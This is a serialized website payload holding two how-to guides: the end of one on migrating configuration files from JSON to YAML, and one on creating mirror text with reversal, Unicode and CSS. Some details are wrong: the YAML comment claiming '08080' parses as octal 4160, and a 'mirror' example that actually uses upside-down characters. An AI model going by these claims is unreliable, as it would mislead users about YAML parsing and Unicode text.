strings",[216,154103,47400],{},[216,154105,154106],{},"Optional for simple values",[199,154108,154109,154111,154114],{},[216,154110,137412],{},[216,154112,154113],{},"Syntax error",[216,154115,154116],{},"Not applicable",[199,154118,154119,154122,154127],{},[216,154120,154121],{},"Multi-line strings",[216,154123,154124,154126],{},[143,154125,8222],{}," escapes only",[216,154128,154129],{},"Literal and folded block styles",[199,154131,154132,154135,154137],{},[216,154133,154134],{},"Anchors\u002Faliases",[216,154136,84686],{},[216,154138,154139,1856,154142],{},[143,154140,154141],{},"&anchor",[143,154143,154144],{},"*alias",[199,154146,154147,154150,154152],{},[216,154148,154149],{},"Data types",[216,154151,84655],{},[216,154153,154154],{},"Same + date, timestamp, binary, sets",[199,154156,154157,154160,154163],{},[216,154158,154159],{},"Root structure",[216,154161,154162],{},"Object or array",[216,154164,154165],{},"Any type (including scalar)",[11,154167,154169],{"id":154168},"step-by-step-migration-process","Step-by-Step Migration Process",[33,154171,154173],{"id":154172},"step-1-audit-your-json-files","Step 1: Audit Your JSON Files",[16,154175,154176],{},"Before converting anything, identify every JSON config file and its consumers. Ask:",[41,154178,154179,154182,154185],{},[44,154180,154181],{},"Which applications read this file?",[44,154183,154184],{},"Do any tools write back to this file automatically?",[44,154186,154187],{},"Are there JSON schemas that validate these files?",[16,154189,154190],{},"Applications that both read and write the config may not support YAML output, which blocks full migration.",[33,154192,154194],{"id":154193},"step-2-choose-your-conversion-method","Step 2: Choose Your Conversion Method",[16,154196,154197,154200],{},[47,154198,154199],{},"Manual conversion",": Open the JSON file, reformat to YAML syntax by hand. Feasible only for small files (under 50 lines).",[16,154202,154203,101783,154206,1531,154208,154210],{},[47,154204,154205],{},"Command-line tools",[143,154207,87027],{},[143,154209,35130],{}," for automated conversion:",[135,154212,154214],{"className":6951,"code":154213,"language":6953,"meta":141,"style":141},"# Using yq (recommended)\nyq -y '.' config.json > config.yaml\n\n# Using jq + python\njq '.' config.json | python3 -c \"import sys, yaml, json; yaml.dump(json.load(sys.stdin), sys.stdout, default_flow_style=False)\"\n",[143,154215,154216,154221,154239,154243,154248],{"__ignoreMap":141},[1560,154217,154218],{"class":1562,"line":1563},[1560,154219,154220],{"class":1649},"# Using yq (recommended)\n",[1560,154222,154223,154225,154228,154231,154234,154236],{"class":1562,"line":337},[1560,154224,87027],{"class":1566},[1560,154226,154227],{"class":1576}," -y",[1560,154229,154230],{"class":5634}," '.'",[1560,154232,154233],{"class":5634}," config.json",[1560,154235,32916],{"class":1669},[1560,154237,154238],{"class":5634}," config.yaml\n",[1560,154240,154241],{"class":1562,"line":343},[1560,154242,1702],{"emptyLinePlaceholder":363},[1560,154244,154245],{"class":1562,"line":365},[1560,154246,154247],{"class":1649},"# Using jq + python\n",[1560,154249,154250,154252,154254,154256,154258,154261,154263],{"class":1562,"line":889},[1560,154251,35130],{"class":1566},[1560,154253,154230],{"class":5634},[1560,154255,154233],{"class":5634},[1560,154257,17408],{"class":1669},[1560,154259,154260],{"class":1566}," python3",[1560,154262,27519],{"class":1576},[1560,154264,154265],{"class":5634}," \"import sys, yaml, json; yaml.dump(json.load(sys.stdin), sys.stdout, default_flow_style=False)\"\n",[16,154267,154268,154271],{},[47,154269,154270],{},"Online converters",": Paste JSON, get YAML. Quick for one-off conversions but not suitable for sensitive configs.",[33,154273,154275],{"id":154274},"step-3-convert-the-syntax","Step 3: Convert the Syntax",[16,154277,154278],{},"Key transformations to apply:",[135,154280,154282],{"className":23484,"code":154281,"language":23486,"meta":141,"style":141},"{\n  \"database\": {\n    \"host\": \"localhost\",\n    \"port\": 5432,\n    \"name\": \"myapp_production\",\n    \"ssl\": true\n  },\n  \"features\": [\"auth\", \"logging\", \"metrics\"]\n}\n",[143,154283,154284,154288,154294,154304,154314,154325,154334,154338,154356],{"__ignoreMap":141},[1560,154285,154286],{"class":1562,"line":1563},[1560,154287,23493],{"class":1570},[1560,154289,154290,154292],{"class":1562,"line":337},[1560,154291,37141],{"class":1576},[1560,154293,37098],{"class":1570},[1560,154295,154296,154298,154300,154302],{"class":1562,"line":343},[1560,154297,37148],{"class":1576},[1560,154299,1663],{"class":1570},[1560,154301,37153],{"class":5634},[1560,154303,11943],{"class":1570},[1560,154305,154306,154308,154310,154312],{"class":1562,"line":365},[1560,154307,37115],{"class":1576},[1560,154309,1663],{"class":1570},[1560,154311,37164],{"class":1576},[1560,154313,11943],{"class":1570},[1560,154315,154316,154318,154320,154323],{"class":1562,"line":889},[1560,154317,37103],{"class":1576},[1560,154319,1663],{"class":1570},[1560,154321,154322],{"class":5634},"\"myapp_production\"",[1560,154324,11943],{"class":1570},[1560,154326,154327,154330,154332],{"class":1562,"line":1710},[1560,154328,154329],{"class":1576},"    \"ssl\"",[1560,154331,1663],{"class":1570},[1560,154333,23527],{"class":1576},[1560,154335,154336],{"class":1562,"line":1717},[1560,154337,11862],{"class":1570},[1560,154339,154340,154342,154344,154346,154348,154350,154352,154354],{"class":1562,"line":1747},[1560,154341,37184],{"class":1576},[1560,154343,37187],{"class":1570},[1560,154345,37190],{"class":5634},[1560,154347,1459],{"class":1570},[1560,154349,37195],{"class":5634},[1560,154351,1459],{"class":1570},[1560,154353,37200],{"class":5634},[1560,154355,37203],{"class":1570},[1560,154357,154358],{"class":1562,"line":2507},[1560,154359,1585],{"class":1570},[16,154361,154362],{},"Becomes:",[135,154364,154366],{"className":37227,"code":154365,"language":37229,"meta":141,"style":141},"database:\n  host: localhost\n  port: 5432\n  name: myapp_production\n  ssl: true\n\nfeatures:\n  - auth\n  - logging\n  - metrics\n",[143,154367,154368,154374,154382,154390,154399,154408,154412,154418,154424,154430],{"__ignoreMap":141},[1560,154369,154370,154372],{"class":1562,"line":1563},[1560,154371,37281],{"class":2484},[1560,154373,19182],{"class":1570},[1560,154375,154376,154378,154380],{"class":1562,"line":337},[1560,154377,37288],{"class":2484},[1560,154379,1663],{"class":1570},[1560,154381,37293],{"class":5634},[1560,154383,154384,154386,154388],{"class":1562,"line":343},[1560,154385,37253],{"class":2484},[1560,154387,1663],{"class":1570},[1560,154389,37302],{"class":1576},[1560,154391,154392,154394,154396],{"class":1562,"line":365},[1560,154393,37243],{"class":2484},[1560,154395,1663],{"class":1570},[1560,154397,154398],{"class":5634},"myapp_production\n",[1560,154400,154401,154404,154406],{"class":1562,"line":889},[1560,154402,154403],{"class":2484},"  ssl",[1560,154405,1663],{"class":1570},[1560,154407,23527],{"class":1576},[1560,154409,154410],{"class":1562,"line":1710},[1560,154411,1702],{"emptyLinePlaceholder":363},[1560,154413,154414,154416],{"class":1562,"line":1717},[1560,154415,37320],{"class":2484},[1560,154417,19182],{"class":1570},[1560,154419,154420,154422],{"class":1562,"line":1747},[1560,154421,37327],{"class":1570},[1560,154423,37330],{"class":5634},[1560,154425,154426,154428],{"class":1562,"line":2507},[1560,154427,37327],{"class":1570},[1560,154429,37337],{"class":5634},[1560,154431,154432,154434],{"class":1562,"line":2524},[1560,154433,37327],{"class":1570},[1560,154435,37344],{"class":5634},[33,154437,154439],{"id":154438},"step-4-add-comments-and-documentation","Step 4: Add Comments and Documentation",[16,154441,154442],{},"Now that YAML supports comments, annotate non-obvious values:",[135,154444,154446],{"className":37227,"code":154445,"language":37229,"meta":141,"style":141},"database:\n  host: localhost          # Override with DB_HOST env var in production\n  port: 5432               # Default PostgreSQL port\n  name: myapp_production\n  ssl: true                # Required for RDS instances\n",[143,154447,154448,154454,154466,154477,154485],{"__ignoreMap":141},[1560,154449,154450,154452],{"class":1562,"line":1563},[1560,154451,37281],{"class":2484},[1560,154453,19182],{"class":1570},[1560,154455,154456,154458,154460,154463],{"class":1562,"line":337},[1560,154457,37288],{"class":2484},[1560,154459,1663],{"class":1570},[1560,154461,154462],{"class":5634},"localhost",[1560,154464,154465],{"class":1649},"          # Override with DB_HOST env var in production\n",[1560,154467,154468,154470,154472,154474],{"class":1562,"line":343},[1560,154469,37253],{"class":2484},[1560,154471,1663],{"class":1570},[1560,154473,37164],{"class":1576},[1560,154475,154476],{"class":1649},"               # Default PostgreSQL port\n",[1560,154478,154479,154481,154483],{"class":1562,"line":365},[1560,154480,37243],{"class":2484},[1560,154482,1663],{"class":1570},[1560,154484,154398],{"class":5634},[1560,154486,154487,154489,154491,154493],{"class":1562,"line":889},[1560,154488,154403],{"class":2484},[1560,154490,1663],{"class":1570},[1560,154492,20533],{"class":1576},[1560,154494,154495],{"class":1649},"                # Required for RDS instances\n",[33,154497,154499],{"id":154498},"step-5-update-application-code","Step 5: Update Application Code",[16,154501,154502],{},"Modify your application to read YAML instead of JSON:",[135,154504,154506],{"className":1607,"code":154505,"language":1609,"meta":141,"style":141},"\u002F\u002F Node.js: Before\nconst config = require('.\u002Fconfig.json')\n\n\u002F\u002F Node.js: After (using js-yaml)\nconst fs = require('fs')\nconst yaml = require('js-yaml')\nconst config = yaml.load(fs.readFileSync('.\u002Fconfig.yaml', 'utf8'))\n",[143,154507,154508,154513,154531,154535,154540,154556,154574],{"__ignoreMap":141},[1560,154509,154510],{"class":1562,"line":1563},[1560,154511,154512],{"class":1649},"\u002F\u002F Node.js: Before\n",[1560,154514,154515,154517,154520,154522,154524,154526,154529],{"class":1562,"line":337},[1560,154516,8180],{"class":1669},[1560,154518,154519],{"class":1576}," config",[1560,154521,8186],{"class":1669},[1560,154523,20658],{"class":1566},[1560,154525,1688],{"class":1570},[1560,154527,154528],{"class":5634},"'.\u002Fconfig.json'",[1560,154530,8252],{"class":1570},[1560,154532,154533],{"class":1562,"line":343},[1560,154534,1702],{"emptyLinePlaceholder":363},[1560,154536,154537],{"class":1562,"line":365},[1560,154538,154539],{"class":1649},"\u002F\u002F Node.js: After (using js-yaml)\n",[1560,154541,154542,154544,154546,154548,154550,154552,154554],{"class":1562,"line":889},[1560,154543,8180],{"class":1669},[1560,154545,130913],{"class":1576},[1560,154547,8186],{"class":1669},[1560,154549,20658],{"class":1566},[1560,154551,1688],{"class":1570},[1560,154553,130922],{"class":5634},[1560,154555,8252],{"class":1570},[1560,154557,154558,154560,154563,154565,154567,154569,154572],{"class":1562,"line":1710},[1560,154559,8180],{"class":1669},[1560,154561,154562],{"class":1576}," yaml",[1560,154564,8186],{"class":1669},[1560,154566,20658],{"class":1566},[1560,154568,1688],{"class":1570},[1560,154570,154571],{"class":5634},"'js-yaml'",[1560,154573,8252],{"class":1570},[1560,154575,154576,154578,154580,154582,154585,154588,154591,154593,154595,154598,154600,154603],{"class":1562,"line":1717},[1560,154577,8180],{"class":1669},[1560,154579,154519],{"class":1576},[1560,154581,8186],{"class":1669},[1560,154583,154584],{"class":1570}," yaml.",[1560,154586,154587],{"class":1566},"load",[1560,154589,154590],{"class":1570},"(fs.",[1560,154592,131035],{"class":1566},[1560,154594,1688],{"class":1570},[1560,154596,154597],{"class":5634},"'.\u002Fconfig.yaml'",[1560,154599,1459],{"class":1570},[1560,154601,154602],{"class":5634},"'utf8'",[1560,154604,9429],{"class":1570},[135,154606,154608],{"className":8259,"code":154607,"language":8261,"meta":141,"style":141},"# Python: Before\nimport json\nwith open('config.json') as f:\n    config = json.load(f)\n\n# Python: After\nimport yaml\nwith open('config.yaml') as f:\n    config = yaml.safe_load(f)\n",[143,154609,154610,154615,154620,154625,154630,154634,154639,154644,154649],{"__ignoreMap":141},[1560,154611,154612],{"class":1562,"line":1563},[1560,154613,154614],{},"# Python: Before\n",[1560,154616,154617],{"class":1562,"line":337},[1560,154618,154619],{},"import json\n",[1560,154621,154622],{"class":1562,"line":343},[1560,154623,154624],{},"with open('config.json') as f:\n",[1560,154626,154627],{"class":1562,"line":365},[1560,154628,154629],{},"    config = json.load(f)\n",[1560,154631,154632],{"class":1562,"line":889},[1560,154633,1702],{"emptyLinePlaceholder":363},[1560,154635,154636],{"class":1562,"line":1710},[1560,154637,154638],{},"# Python: After\n",[1560,154640,154641],{"class":1562,"line":1717},[1560,154642,154643],{},"import yaml\n",[1560,154645,154646],{"class":1562,"line":1747},[1560,154647,154648],{},"with open('config.yaml') as f:\n",[1560,154650,154651],{"class":1562,"line":2507},[1560,154652,154653],{},"    config = yaml.safe_load(f)\n",[16,154655,99048,154656,154659],{},[143,154657,154658],{},"safe_load"," in Python to avoid executing arbitrary YAML tags.",[33,154661,154663],{"id":154662},"step-6-validate-and-test","Step 6: Validate and Test",[41,154665,154666,154669,154672,154684],{},[44,154667,154668],{},"Run your test suite against the new YAML config",[44,154670,154671],{},"Verify that all values parsed correctly — YAML's type coercion can surprise you",[44,154673,154674,154675,9423,154677,88000,154679,9423,154681,1525],{},"Check that boolean values are correct (",[143,154676,20533],{},[143,154678,13730],{},[143,154680,81517],{},[143,154682,154683],{},"\"false\"",[44,154685,154686],{},"Confirm numeric strings haven't been converted to numbers unexpectedly",[11,154688,154690],{"id":154689},"common-yaml-parsing-surprises","Common YAML Parsing Surprises",[33,154692,154694],{"id":154693},"boolean-coercion","Boolean Coercion",[16,154696,154697],{},"YAML treats several values as booleans:",[193,154699,154700,154710],{},[196,154701,154702],{},[199,154703,154704,154707],{},[202,154705,154706],{},"YAML Value",[202,154708,154709],{},"Parsed As",[211,154711,154712,154742],{},[199,154713,154714,154738],{},[216,154715,154716,1459,154718,1459,154721,1459,154724,1459,154726,1459,154728,1459,154731,1459,154733,1459,154735],{},[143,154717,20533],{},[143,154719,154720],{},"True",[143,154722,154723],{},"TRUE",[143,154725,85138],{},[143,154727,3057],{},[143,154729,154730],{},"YES",[143,154732,86828],{},[143,154734,134989],{},[143,154736,154737],{},"ON",[216,154739,154740],{},[143,154741,20533],{},[199,154743,154744,154768],{},[216,154745,154746,1459,154748,1459,154751,1459,154754,1459,154756,1459,154758,1459,154761,1459,154763,1459,154765],{},[143,154747,13730],{},[143,154749,154750],{},"False",[143,154752,154753],{},"FALSE",[143,154755,86825],{},[143,154757,6117],{},[143,154759,154760],{},"NO",[143,154762,86831],{},[143,154764,134986],{},[143,154766,154767],{},"OFF",[216,154769,154770],{},[143,154771,13730],{},[16,154773,154774,154775,154777,154778,154780,154781,468],{},"If you have a country code ",[143,154776,154760],{}," (Norway), YAML parses it as ",[143,154779,13730],{},". Quote it: ",[143,154782,154783],{},"\"NO\"",[33,154785,154787],{"id":154786},"numeric-strings","Numeric Strings",[135,154789,154791],{"className":37227,"code":154790,"language":37229,"meta":141,"style":141},"version: 1.10    # Parsed as float 1.1, not string \"1.10\"\nport: 08080      # Parsed as 8080 octal → 4160 decimal\n",[143,154792,154793,154805],{"__ignoreMap":141},[1560,154794,154795,154797,154799,154802],{"class":1562,"line":1563},[1560,154796,8243],{"class":2484},[1560,154798,1663],{"class":1570},[1560,154800,154801],{"class":1576},"1.10",[1560,154803,154804],{"class":1649},"    # Parsed as float 1.1, not string \"1.10\"\n",[1560,154806,154807,154810,154812,154815],{"class":1562,"line":337},[1560,154808,154809],{"class":2484},"port",[1560,154811,1663],{"class":1570},[1560,154813,154814],{"class":5634},"08080",[1560,154816,154817],{"class":1649},"      # Parsed as 8080 octal → 4160 decimal\n",[16,154819,154820,154821,1459,154824,468],{},"Quote values that must remain strings: ",[143,154822,154823],{},"version: \"1.10\"",[143,154825,154826],{},"port: \"08080\"",[33,154828,154830],{"id":154829},"indentation-errors","Indentation Errors",[16,154832,154833],{},"YAML is indentation-sensitive. Mixing tabs and spaces breaks parsing. Configure your editor to use spaces only.",[11,154835,154837],{"id":154836},"partial-migration-strategy","Partial Migration Strategy",[16,154839,154840],{},"If some consumers can't read YAML, run both formats in parallel:",[77,154842,154843,154846,154871],{},[44,154844,154845],{},"Maintain YAML as the source of truth",[44,154847,154848,154849],{},"Generate JSON from YAML in your build step:\n",[135,154850,154852],{"className":6951,"code":154851,"language":6953,"meta":141,"style":141},"yq -j '.' config.yaml > config.json\n",[143,154853,154854],{"__ignoreMap":141},[1560,154855,154856,154858,154861,154863,154866,154868],{"class":1562,"line":1563},[1560,154857,87027],{"class":1566},[1560,154859,154860],{"class":1576}," -j",[1560,154862,154230],{"class":5634},[1560,154864,154865],{"class":5634}," config.yaml",[1560,154867,32916],{"class":1669},[1560,154869,154870],{"class":5634}," config.json\n",[44,154872,154873],{},"Commit only the YAML file; git-ignore the generated JSON",[16,154875,154876],{},"This keeps your canonical config in readable YAML while supporting legacy consumers.",[11,154878,1355],{"id":1354},[41,154880,154881,154884,154887,154896,154899,154904],{},[44,154882,154883],{},"YAML adds comments, cleaner syntax, and anchors — worthwhile for human-authored configs",[44,154885,154886],{},"Audit all consumers before migrating; some tools may not support YAML output",[44,154888,1388,154889,154891,154892,154895],{},[143,154890,87027],{}," for automated conversion or Python's ",[143,154893,154894],{},"yaml.dump"," for programmatic conversion",[44,154897,154898],{},"Watch for YAML's aggressive type coercion: quote strings that look like booleans or numbers",[44,154900,99048,154901,154903],{},[143,154902,154658],{}," (Python) or equivalent to avoid executing arbitrary YAML tags",[44,154905,154906],{},"For partial migrations, generate JSON from YAML in your build step",[11,154908,321],{"id":320},[41,154910,154911,154915,154919],{},[44,154912,154913],{},[98,154914,37788],{"href":37787},[44,154916,154917],{},[98,154918,37795],{"href":37794},[44,154920,154921],{},[98,154922,138094],{"href":37817},[11,154924,286],{"id":285},[16,154926,154927,154928,154931],{},"Convert JSON to YAML (and back) instantly with our free ",[98,154929,154930],{"href":37769},"JSON-YAML Converter",". Paste your data and switch formats in one click — no installation required.",[2043,154933,154934],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}",{"title":141,"searchDepth":337,"depth":337,"links":154936},[154937,154938,154939,154947,154952,154953,154954,154955],{"id":154034,"depth":337,"text":154035},{"id":154070,"depth":337,"text":154071},{"id":154168,"depth":337,"text":154169,"children":154940},[154941,154942,154943,154944,154945,154946],{"id":154172,"depth":343,"text":154173},{"id":154193,"depth":343,"text":154194},{"id":154274,"depth":343,"text":154275},{"id":154438,"depth":343,"text":154439},{"id":154498,"depth":343,"text":154499},{"id":154662,"depth":343,"text":154663},{"id":154689,"depth":337,"text":154690,"children":154948},[154949,154950,154951],{"id":154693,"depth":343,"text":154694},{"id":154786,"depth":343,"text":154787},{"id":154829,"depth":343,"text":154830},{"id":154836,"depth":337,"text":154837},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Learn how to migrate configuration files from JSON to YAML — conversion strategies, tooling, and pitfalls to avoid during the transition.",{"immutable":363},"\u002Fguides\u002Fmigrating-json-to-yaml",{"title":154029,"description":154956},"guides\u002Fmigrating-json-to-yaml","IxTiDDAZGXuAc9VPzjexUXwKMtu_knGDu30B7w29fUQ",{"id":154963,"title":154964,"body":154965,"date":2070,"description":155362,"extension":361,"meta":155363,"navigation":363,"path":155367,"readingTime":7146,"seo":155368,"stem":155369,"__hash__":155370},"guides\u002Fguides\u002Fmirror-text-guide.md","Mirror Text Guide: Creating Symmetrical and Backwards Text",{"type":8,"value":154966,"toc":155343},[154967,154971,154974,154977,154981,154984,154988,154991,154995,154998,155002,155005,155009,155012,155016,155019,155078,155082,155085,155088,155092,155095,155101,155104,155108,155114,155155,155158,155162,155165,155246,155249,155253,155285,155287,155307,155309,155317,155319,155340],[11,154968,154970],{"id":154969},"what-is-mirror-text","What Is Mirror Text?",[16,154972,154973],{},"Mirror text is text that appears flipped horizontally, as if reflected in a mirror. When you hold a mirror up to regular text, the letters reverse left-to-right — that is mirror text. Ambulances print \"ECNALUBMA\" in mirror text so drivers read it correctly through their rearview mirrors.",[16,154975,154976],{},"Mirror text can be created two ways: by reversing the character order (so it reads right-to-left), or by applying a visual reflection that flips each letter's shape. The first method is simpler and works everywhere. The second method produces a true mirror image but requires Unicode characters or CSS transformations.",[11,154978,154980],{"id":154979},"where-mirror-text-gets-used","Where Mirror Text Gets Used",[16,154982,154983],{},"Mirror text is not just a novelty. It serves practical purposes across several fields.",[33,154985,154987],{"id":154986},"vehicle-markings","Vehicle Markings",[16,154989,154990],{},"The most visible real-world use is on emergency vehicles. The word \"AMBULANCE\" appears reversed on the front hood so that drivers ahead see it correctly in their mirrors. Some signage in physics labs and manufacturing floors uses the same technique for safety warnings visible in reflective surfaces.",[33,154992,154994],{"id":154993},"design-and-typography","Design and Typography",[16,154996,154997],{},"Designers use mirrored text for symmetrical layouts, logo marks, and decorative headers. A word reflected below itself creates a faux water reflection effect. Album covers, event posters, and fashion branding often feature mirrored typography for visual tension — the text looks almost readable but resists quick comprehension, forcing the viewer to slow down and engage.",[33,154999,155001],{"id":155000},"puzzles-and-codes","Puzzles and Codes",[16,155003,155004],{},"Mirror text works as a simple cipher for puzzles, escape rooms, and alternate reality games. It adds one step of friction without requiring decryption skills. Puzzle creators like it because the encoded message is self-contained — readers can decode it by holding their screen up to an actual mirror.",[33,155006,155008],{"id":155007},"social-media-and-messaging","Social Media and Messaging",[16,155010,155011],{},"Mirrored or upside-down text stands out in crowded feeds. People use it in Instagram bios, Discord usernames, and TikTok comments for visual novelty. The effect relies on Unicode characters that look like flipped versions of standard letters, which means the text stays selectable and copyable — unlike an image of flipped text.",[11,155013,155015],{"id":155014},"how-to-create-mirror-text-online","How to Create Mirror Text Online",[16,155017,155018],{},"There are three main approaches, each with different trade-offs:",[193,155020,155021,155035],{},[196,155022,155023],{},[199,155024,155025,155027,155029,155032],{},[202,155026,7441],{},[202,155028,31483],{},[202,155030,155031],{},"Selectable?",[202,155033,155034],{},"Works Everywhere?",[211,155036,155037,155049,155062],{},[199,155038,155039,155042,155045,155047],{},[216,155040,155041],{},"Character reversal",[216,155043,155044],{},"Reverse the character order",[216,155046,3057],{},[216,155048,3057],{},[199,155050,155051,155054,155057,155059],{},[216,155052,155053],{},"Unicode mirror characters",[216,155055,155056],{},"Replace each letter with a flipped Unicode equivalent",[216,155058,3057],{},[216,155060,155061],{},"Most platforms",[199,155063,155064,155067,155072,155075],{},[216,155065,155066],{},"CSS transform",[216,155068,47360,155069],{},[143,155070,155071],{},"transform: scaleX(-1)",[216,155073,155074],{},"Yes (original text)",[216,155076,155077],{},"Web only",[33,155079,155081],{"id":155080},"character-reversal","Character Reversal",[16,155083,155084],{},"This is the simplest approach. \"Mirror\" becomes \"rorriM.\" It reverses readability direction but does not flip individual letter shapes. It works in any text field — email, documents, social media — because it uses standard characters.",[16,155086,155087],{},"You can do this programmatically or use an online text reverser tool.",[33,155089,155091],{"id":155090},"unicode-mirror-characters","Unicode Mirror Characters",[16,155093,155094],{},"Some Unicode blocks contain characters that look like horizontally flipped versions of standard Latin letters. A mirror text converter maps each letter to its flipped counterpart:",[135,155096,155099],{"className":155097,"code":155098,"language":140},[138],"Normal:  Hello World\nMirror:  ollǝH ʍoɹlᗡ\n",[143,155100,155098],{"__ignoreMap":141},[16,155102,155103],{},"Not every letter has a perfect mirror equivalent in Unicode, so results vary. Lowercase \"b\" and \"d\" swap naturally, but letters like \"H\" and \"W\" require approximations. The output is still real text — you can select it, search it, and paste it anywhere.",[33,155105,155107],{"id":155106},"css-transform","CSS Transform",[16,155109,155110,155111,155113],{},"For web-based projects, ",[143,155112,155071],{}," flips any DOM element horizontally:",[135,155115,155117],{"className":1554,"code":155116,"language":1556,"meta":141,"style":141},".mirror-text {\n  transform: scaleX(-1);\n  display: inline-block;\n}\n",[143,155118,155119,155126,155141,155151],{"__ignoreMap":141},[1560,155120,155121,155124],{"class":1562,"line":1563},[1560,155122,155123],{"class":1566},".mirror-text",[1560,155125,1571],{"class":1570},[1560,155127,155128,155130,155132,155135,155137,155139],{"class":1562,"line":337},[1560,155129,1720],{"class":1576},[1560,155131,1663],{"class":1570},[1560,155133,155134],{"class":1576},"scaleX",[1560,155136,1688],{"class":1570},[1560,155138,19059],{"class":1576},[1560,155140,1744],{"class":1570},[1560,155142,155143,155145,155147,155149],{"class":1562,"line":343},[1560,155144,12504],{"class":1576},[1560,155146,1663],{"class":1570},[1560,155148,12509],{"class":1576},[1560,155150,2228],{"class":1570},[1560,155152,155153],{"class":1562,"line":365},[1560,155154,1585],{"class":1570},[16,155156,155157],{},"This produces a perfect visual mirror, but the underlying text remains normal. Screen readers read the original direction, which is good for accessibility. However, it only works where you control the CSS — you cannot paste CSS-transformed text into a social media post.",[11,155159,155161],{"id":155160},"mirror-text-vs-reversed-text","Mirror Text vs Reversed Text",[16,155163,155164],{},"These terms get used interchangeably, but they describe different things:",[193,155166,155167,155179],{},[196,155168,155169],{},[199,155170,155171,155173,155176],{},[202,155172,13104],{},[202,155174,155175],{},"Reversed Text",[202,155177,155178],{},"Mirror Text",[211,155180,155181,155192,155203,155214,155225,155235],{},[199,155182,155183,155186,155189],{},[216,155184,155185],{},"Character order",[216,155187,155188],{},"Flipped (last becomes first)",[216,155190,155191],{},"May or may not be flipped",[199,155193,155194,155197,155200],{},[216,155195,155196],{},"Letter shapes",[216,155198,155199],{},"Unchanged",[216,155201,155202],{},"Flipped horizontally",[199,155204,155205,155208,155211],{},[216,155206,155207],{},"Reading direction",[216,155209,155210],{},"Right-to-left",[216,155212,155213],{},"Depends on method",[199,155215,155216,155219,155222],{},[216,155217,155218],{},"Visual appearance",[216,155220,155221],{},"Backwards word order",[216,155223,155224],{},"Looks like a mirror reflection",[199,155226,155227,155230,155233],{},[216,155228,155229],{},"Example input",[216,155231,155232],{},"\"Hello\"",[216,155234,155232],{},[199,155236,155237,155240,155243],{},[216,155238,155239],{},"Example output",[216,155241,155242],{},"\"olleH\"",[216,155244,155245],{},"\"olleH\" (reversal) or \"ollǝH\" (Unicode mirror)",[16,155247,155248],{},"Reversed text changes the order of characters. Mirror text changes how each character faces. You can apply both — reverse the order and flip the shapes — to produce a true mirror-image reading experience.",[11,155250,155252],{"id":155251},"tips-for-using-mirror-text-effectively","Tips for Using Mirror Text Effectively",[41,155254,155255,155261,155267,155273,155279],{},[44,155256,155257,155260],{},[47,155258,155259],{},"Keep it short."," Mirrored text is hard to read beyond a few words. Use it for headings, labels, and accent text — not paragraphs.",[44,155262,155263,155266],{},[47,155264,155265],{},"Test on target platforms."," Unicode mirror characters render differently across fonts and operating systems. What looks perfect on macOS might show missing glyphs on Android.",[44,155268,155269,155272],{},[47,155270,155271],{},"Provide a readable version."," If mirror text carries information (like a puzzle answer), always include the normal text nearby or on hover.",[44,155274,155275,155278],{},[47,155276,155277],{},"Avoid mirrored body copy for accessibility."," Screen readers handle reversed characters unpredictably. Use CSS transforms for decorative mirror effects and keep the source text standard.",[44,155280,155281,155284],{},[47,155282,155283],{},"Combine with reversal tools."," For the most convincing mirror effect, reverse the character order first, then apply Unicode mirror characters or a CSS flip.",[11,155286,1355],{"id":1354},[41,155288,155289,155292,155295,155301,155304],{},[44,155290,155291],{},"Mirror text flips letter shapes horizontally; reversed text flips character order — they are different operations.",[44,155293,155294],{},"Unicode mirror characters let you paste mirrored text into any platform, but coverage is incomplete.",[44,155296,31366,155297,155300],{},[143,155298,155299],{},"scaleX(-1)"," produces perfect visual mirrors but requires web control.",[44,155302,155303],{},"Use mirror text for accents, logos, and puzzles — not for long-form readability.",[44,155305,155306],{},"Always test Unicode mirror output across devices before publishing.",[11,155308,286],{"id":285},[16,155310,155311,155312,155316],{},"Create mirror text in seconds with our free ",[98,155313,155315],{"href":155314},"\u002Ftools\u002Ftext-reverser","Text Reverser",". Paste your text, choose character-level reversal, and get instant mirror-ready output.",[11,155318,321],{"id":320},[41,155320,155321,155328,155335],{},[44,155322,155323,155327],{},[98,155324,155326],{"href":155325},"\u002Fguides\u002Ftext-reversal-techniques","Text Reversal Techniques"," — String reversal methods across programming languages",[44,155329,155330,155334],{},[98,155331,155333],{"href":155332},"\u002Fguides\u002Ftext-manipulation-tools","Essential Text Manipulation Tools"," — Overview of the most useful text transformation tools",[44,155336,155337,155339],{},[98,155338,23827],{"href":23826}," — Choosing the right case for your code",[2043,155341,155342],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: 